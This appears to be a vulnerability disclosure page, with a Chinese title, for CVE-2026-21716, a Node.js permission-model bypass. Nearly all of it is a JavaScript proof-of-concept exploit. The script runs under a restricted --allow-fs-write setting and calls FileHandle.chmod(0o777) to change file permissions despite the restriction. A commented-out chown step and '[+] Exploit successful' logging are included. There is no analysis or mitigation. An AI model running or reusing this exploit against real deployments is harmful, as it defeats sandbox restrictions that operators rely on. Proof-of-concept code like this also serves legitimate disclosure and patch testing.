CVE-2026-21716 Node.js 权限模型绕过漏洞

// Run the script with restricted permissions: // node --experimental-permission --allow-fs-write=/tmp script.js import { open } from 'node:fs/promises'; async function triggerVulnerability() { try { // 1. Open a file within the allowed write directory to get a FileHandle const fileHandle = await open('/tmp/safe.txt', 'w'); console.log('[+] File opened successfully.'); // 2. Attempt to change file permissions using the vulnerable Promise API // In a patched version, this should be blocked by the Permission Model. // Due to CVE-2026-21716, this bypasses the --allow-fs-write restriction. await fileHandle.chmod(0o777); console.log('[+] Exploit successful: File permissions changed via chmod().'); // 3. Attempt to change file ownership (if permissions allow, conceptually vulnerable) // await fileHandle.chown(1000, 1000); await fileHandle.close(); } catch (error) { console.error('[-] Permission denied or error:', error.message); } } triggerVulnerability();